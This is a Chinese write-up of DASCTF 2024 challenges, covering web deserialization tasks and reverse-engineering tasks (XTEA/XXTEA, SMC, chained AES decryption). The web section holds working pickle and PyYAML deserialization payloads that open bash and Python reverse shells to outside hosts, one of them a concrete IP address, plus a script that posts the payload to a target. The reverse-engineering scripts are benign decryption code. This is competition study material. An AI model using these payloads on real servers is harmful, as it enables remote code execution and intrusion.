DASCTF 2024最后一战 wp(复现)

checkin

image-20250317150511405

访问即可

image-20250317150817993

西湖论剑邀请函获取器

get_env(name = “FLAG”)
即可

Web

const_python

1
2
3
4
5
6
# 假设存在如下路由处理
@app.route('/load')
def load_data():
data = base64.b64decode(request.cookies.get('data'))
obj = pickle.loads(data)
return "Loaded"

题目导入了 picklebase64 等模块,且存在动态数据处理逻辑(如 Session 管理、身份验证),可能通过反序列化传递对象。

Pickle 协议的本质:Pickle 不是简单的数据序列化,而是能重建任意对象的协议。反序列化时会自动调用 __reduce__ 方法,该方法返回一个可执行函数和参数元组。

在线反弹shell生成工具 – Zgao’s blog

注意黑名单中ban的是__builtin__,所以builtins模块可用

builtins里面有subprocess。subprocess.run这个内建的方法可以代替os.popen运行命令,没被waf

https://blog.csdn.net/cc20100608/article/details/139285386

所以这题也能用Popen

1
2
3
4
5
# 改用subprocess或os.execvp等隐蔽执行
class RCE:
def __reduce__(self):
cmd = ["/bin/sh", "-c", "echo 恶意代码"]
return subprocess.Popen, (cmd,)
1
return (builtins.__import__("subprocess").run, (["bash", "-c", "bash -i >& /dev/tcp/111.229.217.82/6666 0>&1"],))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
import subprocess
import pickle
import base64

class A():
   def __reduce__(self):
       #这里命令不能直接用bash -i >& /dev/tcp/$ip/$port 0>&1
       return (subprocess.run, (["bash", "-c", "bash -i >& /dev/tcp/$ip/$port 0>&1"],))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
#gASVWQAAAAAAAACMCnN1YnByb2Nlc3OUjANydW6Uk5RdlCiMBGJhc2iUjAItY5SMLGJhc2ggLWkgPiYgL2Rldi90Y3AvMTEzLjQ0LjE1OC43Mi8xMTQ1NSAwPiYxlGWFlFKULg==

这样不行:

1
2
3
4
5
6
7
8
class RCE:
def __reduce__(self):
# 反弹Shell命令(替换为你自己的IP和端口)
cmd = "bash -c 'bash -i >& /dev/tcp/your_ip/your_port 0>&1'"
# 或使用Python反弹Shell(兼容性更好):
# cmd = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"your_ip\",your_port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'"

return os.system, (cmd,)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

# 替换成你的Payload和实际目标URL
payload = b'gASVWQAAAAAAAACMCnN1YnByb2Nlc3OUjANydW6Uk5RdlCiMBGJhc2iUjAItY5SMLGJhc2ggLWkgPiYgL2Rldi90Y3AvMTIzLjU2LjEyNS4yNDMvNDQ0NCAwPiYxlGWFxxxLg=='
url = "http://1b20bb46-3d52-4e55-a97a-52cf493f2804.node5.buuoj.cn:81/ppicklee"
payload_param = "data"

try:
response = requests.post(
url=url,
data={payload_param: payload},
timeout=5
)
print(f"状态码: {response.status_code}")
print(f"响应内容: {response.text[:200]}")
except Exception as e:
print(f"请求失败: {str(e)}")

yaml_matser

很明显是打 pyyaml 反序列化,版本肯定是漏洞版本的,只需要考虑绕 waf 即可

1
__import__('os').system('python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("xxx.xxx.xxx.xxx",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\'')

再编码一次

1
2
3
4
5
6
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "import urllib; exec(urllib.parse.unquote('%5f%5f%aaaa3%2sdsadas70%61%77%ds%22%29%5c%27%27%29'))"

RE

tryre

换表base64

image-20250317151803514

刻板印象re

动调发现这么一个东西,花指令,果然不简单

image-20250317165949903

去除后p,还是可以依稀看出来是个xtea

image-20250317171438715

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <stdint.h>
#include <string.h>

void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1];
uint32_t delta = 0x9e3779b9;
uint32_t sum = 32 * delta;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (int i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0; v[1] = v1;
}

void decrypt2(uint32_t* v, uint32_t* key) {
uint32_t delta = 0x9e3779b9;
// unsigned int delta = 0x9e3779b9;
uint32_t sum = 32 * delta;
uint32_t v1 = v[0];
uint32_t v0 = v[1];
for (int i = 0; i < 32; i++) {
v0 -= (sum + key[(sum >> 11) & 3]) ^ (v1 + ((16 * v1) ^ (v1 >> 5)));
sum -= delta;
v1 -= (sum + key[sum & 3]) ^ (v0 + ((16 * v0) ^ (v0 >> 5)));
}
v[0] = v1;
v[1] = v0;
}

int main() {
// 原始密文数据
unsigned char enc[] = {
0x18, 0x09, 0x1C, 0x14, 0x37, 0x1D, 0x16, 0x2D, 0x3C, 0x05,
0x16, 0x3E, 0x02, 0x03, 0x10, 0x2C, 0x0E, 0x31, 0x39, 0x15,
0x04, 0x3A, 0x39, 0x03, 0x0D, 0x13, 0x2B, 0x3E, 0x06, 0x08,
0x37, 0x00, 0x17, 0x0B, 0x00, 0x1D, 0x1C, 0x00, 0x16, 0x06,
0x07, 0x17, 0x30, 0x03, 0x30, 0x06, 0x0A, 0x71
};
unsigned char xore[] = { 0xDA, 0x30, 0x23, 0xE3, 0xDC, 0x39, 0x82, 0x60, 0xA5, 0x44,
0x68, 0xC2, 0x43, 0x7A, 0xBB, 0xE4, 0x50, 0xE1, 0x02, 0xC2,
0x81, 0x59, 0xEA, 0x1E, 0xC6, 0x8B, 0x71, 0x38, 0x27, 0x83,
0x94, 0xD8, 0xF4, 0x8D, 0x1A, 0x2A, 0x56, 0x8A, 0x4A, 0xD4,
0x54, 0xDC, 0x24, 0x3F, 0xB9, 0xED, 0x7B, 0x9A };
unsigned char keya[] = "Laughter_is_poison_to_fear";
for (int i = 0; i < 48; i++) enc[i] ^= xore[i];
unsigned int* k = (unsigned int*)enc;
unsigned int* key = (uint32_t*)"{you_find_it_!?}";
for (int j = 0; j < 12; j += 2) {
decrypt2(&k[j], key);
}
for (int i = 0; i < 48; i++) enc[i] ^= keya[i % 26];
for (int i = 0; i < 48; i++) printf("%c", enc[i]);
return 0;
}

输出发现是个fakeflag_plz_Try_more_hard_to_find_the_true_flag

image-20250318100811477

lpAddress 可能包含 解密后的一段可执行代码,该代码会在运行时被执行

image-20250318101413565

这大概是SMC

image-20250318104245229

popa和pusha中间的部分才是加密逻辑的代码,其余的代码都是用来控制代码块执行的。

多运行几次把代码摘下来问gpt是个xxtea,delta是0x11451419h

key是{What_is_this_?}

8f6ca63f943df5d9366651d7662fb38fc0619ecee9d7e1bf13141614c2e7c33a7f94a1e7240ea75cd377fe4f11dc6923

加密逻辑是xor1->xtea->xor2->xxtea->xor3,可写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
mov     ebp, esp
sub esp, 78h
push esi
push edi
mov dword ptr [ebp-14h], 0Ch
mov eax, [ebp+8]
mov [ebp-10h], eax
mov [ebp-10h], eax
mov byte ptr [ebp-48h], 7Bh ; '{'
mov byte ptr [ebp-47h], 57h ; 'W'
mov byte ptr [ebp-46h], 68h ; 'h'
mov byte ptr [ebp-45h], 61h ; 'a'
mov byte ptr [ebp-44h], 74h ; 't'
mov byte ptr [ebp-43h], 5Fh ; '_'
mov byte ptr [ebp-42h], 69h ; 'i'
mov byte ptr [ebp-41h], 73h ; 's'
mov byte ptr [ebp-40h], 5Fh ; '_'
mov byte ptr [ebp-3Fh], 74h ; 't'
mov byte ptr [ebp-3Eh], 68h ; 'h'
mov byte ptr [ebp-3Dh], 69h ; 'i'
mov byte ptr [ebp-3Ch], 73h ; 's'
mov byte ptr [ebp-3Bh], 5Fh ; '_'
mov byte ptr [ebp-3Ah], 3Fh ; '?'
mov byte ptr [ebp-39h], 7Dh ; '}'
lea ecx, [ebp-48h]
mov [ebp-28h], ecx
cmp dword ptr [ebp-14h], 1
mov ecx, 16h
jle loc_5D254A
mov eax, 34h ; '4'
cdq
idiv dword ptr [ebp-14h]
add eax, 6
mov [ebp-1Ch], eax
mov dword ptr [ebp-18h], 0
mov edx, [ebp-14h]
mov eax, [ebp-10h]
mov ecx, [eax+edx*4-4]
mov [ebp-8], ecx
mov edx, [ebp-18h]
add edx, 11451419h
mov [ebp-18h], edx
mov [ebp-18h], edx
mov eax, [ebp-18h]
shr eax, 2
and eax, 3
mov [ebp-24h], eax
mov dword ptr [ebp-4], 0
mov edx, [ebp-14h]
sub edx, 1
cmp [ebp-4], edx
mov ecx, 3Bh ; ';'
debug045:005D5E05 jnb loc_5D423D
mov eax, [ebp-4]
mov ecx, [ebp-10h]
mov edx, [ecx+eax*4+4]
mov [ebp-0Ch], edx
mov eax, [ebp-8]
shr eax, 5
mov ecx, [ebp-0Ch]
shl ecx, 2
xor eax, ecx
mov edx, [ebp-0Ch]
shr edx, 3
mov ecx, [ebp-8]
shl ecx, 4
xor edx, ecx
add eax, edx
mov edx, [ebp-18h]
xor edx, [ebp-0Ch]
mov ecx, [ebp-4]
and ecx, 3
xor ecx, [ebp-24h]
mov esi, [ebp-28h]
esi: {
Stack[00008470]:0019FE29 db 57h ; W
Stack[00008470]:0019FE2A db 68h ; h
Stack[00008470]:0019FE2B db 61h ; a
Stack[00008470]:0019FE2C db 74h ; t
Stack[00008470]:0019FE2D db 5Fh ; _
Stack[00008470]:0019FE2E db 69h ; i
Stack[00008470]:0019FE2F db 73h ; s
Stack[00008470]:0019FE30 db 5Fh ; _
Stack[00008470]:0019FE31 db 74h ; t
Stack[00008470]:0019FE32 db 68h ; h
Stack[00008470]:0019FE33 db 69h ; i
Stack[00008470]:0019FE34 db 73h ; s
Stack[00008470]:0019FE35 db 5Fh ; _
Stack[00008470]:0019FE36 db 3Fh ; ?
Stack[00008470]:0019FE37 db 7Dh ; }
mov ecx, [esi+ecx*4]
xor ecx, [ebp-8]
add edx, ecx
xor eax, edx
mov edx, [ebp-4]
mov ecx, [ebp-10h]
mov edx, [ecx+edx*4]
add edx, eax
mov [ebp-2Ch], edx
mov eax, [ebp-4]
mov ecx, [ebp-10h]
mov edx, [ebp-2Ch]
mov [ecx+eax*4], edx
mov eax, [ebp-2Ch]
mov [ebp-8], eax
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
mov edx, [ebp-14h]
sub edx, 1
cmp [ebp-4], edx
mov ecx, 3Bh ; ';'
debug045:005D5E05 jnb loc_5D423D
mov eax, [ebp-4]

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#include <stdio.h>
#include <stdint.h>
#include <string.h>

#define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))

unsigned char xor_xxtea_num[48] = { 0x8f, 0x6c, 0xa6, 0x3f, 0x94, 0x3d, 0xf5, 0xd9, 0x36, 0x66, 0x51, 0xd7, 0x66,
0x2f, 0xb3, 0x8f, 0xc0, 0x61, 0x9e, 0xce, 0xe9, 0xd7, 0xe1, 0xbf, 0x13, 0x14,
0x16, 0x14, 0xc2, 0xe7, 0xc3, 0x3a, 0x7f, 0x94, 0xa1, 0xe7, 0x24, 0x0e, 0xa7,
0x5c, 0xd3, 0x77, 0xfe, 0x4f, 0x11, 0xdc, 0x69, 0x23 };

void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1];
uint32_t delta = 0x9e3779b9;
uint32_t sum = 32 * delta;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (int i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0; v[1] = v1;
}

void decrypt2(uint32_t* v, uint32_t* key) {
uint32_t delta = 0x9e3779b9;
// unsigned int delta = 0x9e3779b9;
uint32_t sum = 32 * delta;
uint32_t v1 = v[0];
uint32_t v0 = v[1];
for (int i = 0; i < 32; i++) {
v0 -= (sum + key[(sum >> 11) & 3]) ^ (v1 + ((16 * v1) ^ (v1 >> 5)));
sum -= delta;
v1 -= (sum + key[sum & 3]) ^ (v0 + ((16 * v0) ^ (v0 >> 5)));
}
v[0] = v1;
v[1] = v0;
}

void xxtea_decrypt(uint8_t* data)
{
for (int i = 0; i < 48; i++)
{
data[i] ^= xor_xxtea_num[i];
}
int n = -12;
uint32_t* v = (uint32_t*)data;
uint32_t* key = (unsigned int*)"{What_is_this_?}";
uint32_t y, z, sum;
unsigned p, rounds, e;
unsigned int delta = 0x11451419;
if (n > 1)
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += delta;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1)
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * delta;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= delta;
} while (--rounds);
}
}


int main() {
// 原始密文数据
unsigned char enc[] = {
0x18, 0x09, 0x1C, 0x14, 0x37, 0x1D, 0x16, 0x2D, 0x3C, 0x05,
0x16, 0x3E, 0x02, 0x03, 0x10, 0x2C, 0x0E, 0x31, 0x39, 0x15,
0x04, 0x3A, 0x39, 0x03, 0x0D, 0x13, 0x2B, 0x3E, 0x06, 0x08,
0x37, 0x00, 0x17, 0x0B, 0x00, 0x1D, 0x1C, 0x00, 0x16, 0x06,
0x07, 0x17, 0x30, 0x03, 0x30, 0x06, 0x0A, 0x71
};
unsigned char xore[] = { 0xDA, 0x30, 0x23, 0xE3, 0xDC, 0x39, 0x82, 0x60, 0xA5, 0x44,
0x68, 0xC2, 0x43, 0x7A, 0xBB, 0xE4, 0x50, 0xE1, 0x02, 0xC2,
0x81, 0x59, 0xEA, 0x1E, 0xC6, 0x8B, 0x71, 0x38, 0x27, 0x83,
0x94, 0xD8, 0xF4, 0x8D, 0x1A, 0x2A, 0x56, 0x8A, 0x4A, 0xD4,
0x54, 0xDC, 0x24, 0x3F, 0xB9, 0xED, 0x7B, 0x9A };

xxtea_decrypt(enc);
unsigned char keya[] = "Laughter_is_poison_to_fear";
for (int i = 0; i < 48; i++) enc[i] ^= xore[i];
unsigned int* k = (unsigned int*)enc;
unsigned int* key = (uint32_t*)"{you_find_it_!?}";
for (int j = 0; j < 12; j += 2) {
decrypt2(&k[j], key);
}
for (int i = 0; i < 48; i++) enc[i] ^= keya[i % 26];
for (int i = 0; i < 48; i++) printf("%c", enc[i]);
return 0;
}

黑客不许哭

nop反调试

image-20250317162537146

  1. 输入处理分析:输入的每个字符被转换为 double 并乘以一个常数,这个常数可能需要进行逆向,比如查看 qword_7FF66211A000 的值,可能是一个缩放因子,比如 1 / 某个数,或者某种编码转换。比如,如果输入的字符被乘以某个值后存储,可能需要除以该值来恢复原始字符。
  2. 中间运算逆向:两个主要的处理函数 sub_13B0 和 sub_14C0 可能涉及线性代数运算,比如矩阵乘法、转置,或者其他变换。需要分析这两个函数的内部逻辑,可能通过静态分析或动态调试来确定运算方式,然后逆向得到输入。
  3. 预设数据对比:最终的比较数组 qword_7FF66211A170,可以通过提取其内容,得到处理后的目标 double 数组,然后逆向这两个阶段的运算,得到原始输入。例如,可能需要将目标数组通过逆运算得到中间值,再通过逆向初始的 double 转换得到字符。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import re
import struct

# 原始数据(粘贴你复制的整个数组内容)
raw_data = """
0x85, 0x25, 0x1E, 0x50, 0x96, 0x06, 0xB1, 0x40, 0x66, 0x88,
0x63, 0x5D, 0x4C, 0xEA, 0xB7, 0x40, 0xA3, 0x1E, 0xA2, 0xD1,
0x7D, 0xDD, 0xA0, 0x40, 0x78, 0x09, 0x4E, 0x7D, 0x04, 0x55,
0xB7, 0x40, 0x6A, 0x15, 0xFD, 0xA1, 0xEB, 0xEA, 0xC1, 0x40,
0xDC, 0x4B, 0x1A, 0xA3, 0xAD, 0x14, 0xB8, 0x40, 0xA1, 0x47,
0x8C, 0x9E, 0xC3, 0x02, 0xC8, 0x40, 0xDF, 0xA8, 0x15, 0xA6,
0xA7, 0xF6, 0xAF, 0x40, 0x46, 0x43, 0xC6, 0xA3, 0x64, 0x41,
0xAA, 0x40, 0xC1, 0x91, 0x40, 0x83, 0x55, 0xC7, 0xA2, 0x40,
0x53, 0x40, 0xDA, 0xFF, 0xE8, 0xFE, 0xA8, 0x40, 0x05, 0x19,
0x01, 0x15, 0x1E, 0x62, 0xB3, 0x40, 0xDC, 0x2C, 0x5E, 0x2C,
0x34, 0x25, 0xC0, 0x40, 0xA9, 0xC0, 0xC9, 0x36, 0x20, 0x5E,
0xA6, 0x40, 0x28, 0x2D, 0x5C, 0x56, 0x81, 0x52, 0x90, 0x40,
0x52, 0xF5, 0x2B, 0x9D, 0x1F, 0xAE, 0x90, 0x40, 0xED, 0x7E,
0x15, 0xE0, 0xF3, 0x22, 0xA9, 0x40, 0x78, 0xD2, 0xC2, 0x65,
0xF1, 0x74, 0xB8, 0x40, 0x6F, 0x2E, 0xFE, 0xB6, 0xE7, 0x9D,
0xA9, 0x40, 0x90, 0xDB, 0x2F, 0x9F, 0x2C, 0x17, 0x64, 0x40,
0x2A, 0xC5, 0x8E, 0xC6, 0x61, 0xA6, 0x82, 0x40, 0xEC, 0x13,
0x40, 0x31, 0xF2, 0x9B, 0xA9, 0x40, 0x84, 0x49, 0xF1, 0xF1,
0xC1, 0xE0, 0xB8, 0x40, 0x3A, 0x5B, 0x40, 0x68, 0xDD, 0x56,
0x8A, 0x40, 0x32, 0x1C, 0xCF, 0x67, 0x24, 0x25, 0xB7, 0x40,
0x1C, 0x9A, 0xB2, 0xD3, 0xDF, 0xCD, 0xA7, 0x40, 0x58, 0x74,
0xEB, 0x35, 0x31, 0xE8, 0xC8, 0x40, 0x15, 0xE3, 0xFC, 0x4D,
0x18, 0x15, 0xA3, 0x40, 0x3C, 0xDE, 0xE4, 0xB7, 0xA8, 0x8C,
0x9C, 0x40, 0x56, 0x64, 0x74, 0x40, 0xF6, 0x27, 0xB3, 0x40,
0xAB, 0x7A, 0xF9, 0x9D, 0xDE, 0xF3, 0xB5, 0x40, 0x4F, 0x90,
0xD8, 0xEE, 0x7E, 0x16, 0xAE, 0x40, 0x17, 0xB8, 0x3C, 0xD6,
0xFC, 0x78, 0xB1, 0x40, 0xA6, 0xF2, 0x76, 0x84, 0xD1, 0xA7,
0xC9, 0x40, 0xB9, 0x8E, 0x71, 0xC5, 0x85, 0xA2, 0x99, 0x40,
0xB6, 0x47, 0x6F, 0xB8, 0x6F, 0x7B, 0x8E, 0x40, 0xA3, 0x21,
0xE3, 0x51, 0xC2, 0xFC, 0xA0, 0x40, 0x6F, 0x2D, 0x93, 0xE1,
0xB0, 0xE3, 0xA1, 0x40, 0xB3, 0xED, 0xB4, 0x35, 0x6A, 0x5B,
0xA4, 0x40, 0x08, 0x02, 0x64, 0xE8, 0x58, 0x42, 0x97, 0x40,
0xB1, 0x19, 0xE0, 0x82, 0x02, 0xDC, 0xC7, 0x40, 0x05, 0xA3,
0x92, 0x3A, 0x45, 0xEC, 0xB1, 0x40, 0xE3, 0x88, 0xB5, 0xF8,
0x5C, 0xC3, 0xB2, 0x40, 0x65, 0x70, 0x94, 0xBC, 0xA6, 0x75,
0xC9, 0x40, 0xDA, 0xC0, 0xDA, 0xC0, 0x36, 0xD0, 0x89, 0xC6,
0x3F, 0xD2, 0x40, 0xFF, 0x9F, 0x86, 0xB7, 0xCE, 0x6A, 0x77,
0xF0, 0x35, 0x0C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x7F, 0x00, 0x00, 0x00
"""

# 用正则提取所有十六进制字节(自动处理换行和逗号)
hex_bytes = re.findall(r'0x([0-9A-Fa-f]{2})', raw_data)

# 拼接成连续HEX字符串
hex_str = ''.join(hex_bytes)

# 检查长度是否正确(44个double = 352字节)
print(f"Total bytes: {len(hex_str)/2}") # 应输出176.0(352/2)

# 转换为字节对象
byte_data = bytes.fromhex(hex_str)

# 解析为double数组
doubles = [struct.unpack('<d', byte_data[i*8:i*8+8])[0] for i in range(44)]
print(doubles) # 打印前3个double验证

image-20250318143538984

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>

// 原始数据(直接粘贴你的数组)
unsigned char byte_7FF66211A170[] =
{
0x85, 0x25, 0x1E, 0x50, 0x96, 0x06, 0xB1, 0x40, 0x66, 0x88,
0x63, 0x5D, 0x4C, 0xEA, 0xB7, 0x40, 0xA3, 0x1E, 0xA2, 0xD1,
0x7D, 0xDD, 0xA0, 0x40, 0x78, 0x09, 0x4E, 0x7D, 0x04, 0x55,
0xB7, 0x40, 0x6A, 0x15, 0xFD, 0xA1, 0xEB, 0xEA, 0xC1, 0x40,
0xDC, 0x4B, 0x1A, 0xA3, 0xAD, 0x14, 0xB8, 0x40, 0xA1, 0x47,
0x8C, 0x9E, 0xC3, 0x02, 0xC8, 0x40, 0xDF, 0xA8, 0x15, 0xA6,
0xA7, 0xF6, 0xAF, 0x40, 0x46, 0x43, 0xC6, 0xA3, 0x64, 0x41,
0xAA, 0x40, 0xC1, 0x91, 0x40, 0x83, 0x55, 0xC7, 0xA2, 0x40,
0x53, 0x40, 0xDA, 0xFF, 0xE8, 0xFE, 0xA8, 0x40, 0x05, 0x19,
0x01, 0x15, 0x1E, 0x62, 0xB3, 0x40, 0xDC, 0x2C, 0x5E, 0x2C,
0x34, 0x25, 0xC0, 0x40, 0xA9, 0xC0, 0xC9, 0x36, 0x20, 0x5E,
0xA6, 0x40, 0x28, 0x2D, 0x5C, 0x56, 0x81, 0x52, 0x90, 0x40,
0x52, 0xF5, 0x2B, 0x9D, 0x1F, 0xAE, 0x90, 0x40, 0xED, 0x7E,
0x15, 0xE0, 0xF3, 0x22, 0xA9, 0x40, 0x78, 0xD2, 0xC2, 0x65,
0xF1, 0x74, 0xB8, 0x40, 0x6F, 0x2E, 0xFE, 0xB6, 0xE7, 0x9D,
0xA9, 0x40, 0x90, 0xDB, 0x2F, 0x9F, 0x2C, 0x17, 0x64, 0x40,
0x2A, 0xC5, 0x8E, 0xC6, 0x61, 0xA6, 0x82, 0x40, 0xEC, 0x13,
0x40, 0x31, 0xF2, 0x9B, 0xA9, 0x40, 0x84, 0x49, 0xF1, 0xF1,
0xC1, 0xE0, 0xB8, 0x40, 0x3A, 0x5B, 0x40, 0x68, 0xDD, 0x56,
0x8A, 0x40, 0x32, 0x1C, 0xCF, 0x67, 0x24, 0x25, 0xB7, 0x40,
0x1C, 0x9A, 0xB2, 0xD3, 0xDF, 0xCD, 0xA7, 0x40, 0x58, 0x74,
0xEB, 0x35, 0x31, 0xE8, 0xC8, 0x40, 0x15, 0xE3, 0xFC, 0x4D,
0x18, 0x15, 0xA3, 0x40, 0x3C, 0xDE, 0xE4, 0xB7, 0xA8, 0x8C,
0x9C, 0x40, 0x56, 0x64, 0x74, 0x40, 0xF6, 0x27, 0xB3, 0x40,
0xAB, 0x7A, 0xF9, 0x9D, 0xDE, 0xF3, 0xB5, 0x40, 0x4F, 0x90,
0xD8, 0xEE, 0x7E, 0x16, 0xAE, 0x40, 0x17, 0xB8, 0x3C, 0xD6,
0xFC, 0x78, 0xB1, 0x40, 0xA6, 0xF2, 0x76, 0x84, 0xD1, 0xA7,
0xC9, 0x40, 0xB9, 0x8E, 0x71, 0xC5, 0x85, 0xA2, 0x99, 0x40,
0xB6, 0x47, 0x6F, 0xB8, 0x6F, 0x7B, 0x8E, 0x40, 0xA3, 0x21,
0xE3, 0x51, 0xC2, 0xFC, 0xA0, 0x40, 0x6F, 0x2D, 0x93, 0xE1,
0xB0, 0xE3, 0xA1, 0x40, 0xB3, 0xED, 0xB4, 0x35, 0x6A, 0x5B,
0xA4, 0x40, 0x08, 0x02, 0x64, 0xE8, 0x58, 0x42, 0x97, 0x40,
0xB1, 0x19, 0xE0, 0x82, 0x02, 0xDC, 0xC7, 0x40, 0x05, 0xA3,
0x92, 0x3A, 0x45, 0xEC, 0xB1, 0x40, 0xE3, 0x88, 0xB5, 0xF8,
0x5C, 0xC3, 0xB2, 0x40, 0x65, 0x70, 0x94, 0xBC, 0xA6, 0x75,
0xC9, 0x40, 0xDA, 0xC0, 0xDA, 0xC0, 0x36, 0xD0, 0x89, 0xC6,
0x3F, 0xD2, 0x40, 0xFF, 0x9F, 0x86, 0xB7, 0xCE, 0x6A, 0x77,
0xF0, 0x35, 0x0C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x7F, 0x00, 0x00, 0x00
};

int main() {
// 通过指针转换访问double数组
double* doubles = (double*)byte_7FF66211A170;

// 打印前3个double
for (int i = 0; i < sizeof(byte_7FF66211A170); i++) {
printf("doubles[%d] = %.15g\n", i, doubles[i]);
}
return 0;
}

随便测一段数据

1
01324567980123456789012345678901234567980123

secret_of_inkey

image-20250319092118583

image-20250319092149959

感觉有点像迷宫题

跟踪Right到

image-20250319094111137

image-20250319094536720

逐位异或索引和key,然后进行AES_ECB解密,都是使用输入的key值。

每次加密获得的文本传入下一次加密作为密钥

密文在哪呢,从526下面发现了一块数据,交叉引用了下可能这个数据就是密文

image-20250319102832307

image-20250319102816713

放好有960块数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import idc
import idaapi
import idautils

start_address = 0x0000000000420140
end_address = 0x000000000043E1BF

output_file = "1.txt"
def data(start, end, file_path):
with open(file_path, "w") as f:
current_address = start
while current_address <= end:
byte = idc.get_wide_byte(current_address)
f.write(f"{byte:02x}")
current_address += 1
if __name__ == "__main__":
data(start_address, end_address, output_file)

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import idc
import idautils

def extract_ciphertext_blocks(start_ea=0x420140, num_blocks=3844, block_size=32):

blocks = []
current_ea = start_ea

for _ in range(num_blocks):
# 读取当前块数据
block_data = idc.get_bytes(current_ea, block_size)
if not block_data:
print(f"Error: Failed to read block at {hex(current_ea)}")
break

# 转换为hex字符串(可选)
hex_block = ''.join(f"{b:02X}" for b in block_data)
blocks.append(hex_block)

# 移动到下一块
current_ea += block_size

print(f"Extracted {len(blocks)} blocks from {hex(start_ea)}")
return blocks


if __name__ == "__main__":
# 提取所有块(默认地址0x420140)
cipher_blocks = extract_ciphertext_blocks()

# 保存到文件(可选)
with open("cipher_blocks.txt", "w") as f:
for block in cipher_blocks:
f.write(block + "\n")

print("Ciphertext blocks saved to cipher_blocks.txt")

这个3844是自己算的,往下滑可以找到结尾是0x43E1BF,简单算了下

提出来

我参考了其它佬的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
keys = {'565': '9fc82e15d9de6ef2'}
allenc = []
for i in range(len(a) // 32):
allenc.append(a[i * 32:i * 32 + 32])
run = 1
while (run):
run = 0
for j in list(keys.keys()):
cipher = AES.new(keys[j].encode(), AES.MODE_ECB)
for i in allenc:
encs = bytearray(i)
for k in range(32):
encs[k] ^= k ^ ord(keys[j][k % 16])
dec = cipher.decrypt(bytes(encs))
if dec[:6] == b'key_of':
x = re.findall('key_of_(\d+)_is_"([0-9a-f]+)"', dec.decode())
if len(x) > 0:
if x[0][0] not in keys:
keys[x[0][0]] = x[0][1]
# print(len(keys))
allenc.remove(i)
run = 1
elif b'nothing_here' in dec:
allenc.remove(i)
run = 1
# oldkeys.append(keys.pop(j))

for j in list(keys.keys()):
cipher = AES.new(keys[j].encode(), AES.MODE_ECB)
for i in allenc:
encs = bytearray(i)
for k in range(32):
encs[k] ^= k ^ ord(keys[j][k % 16])
dec = cipher.decrypt(bytes(encs))
for k in range(32):
if dec[k] < 0x20 or dec[k] > 0x7e:
break
else:
print(j, dec.decode())

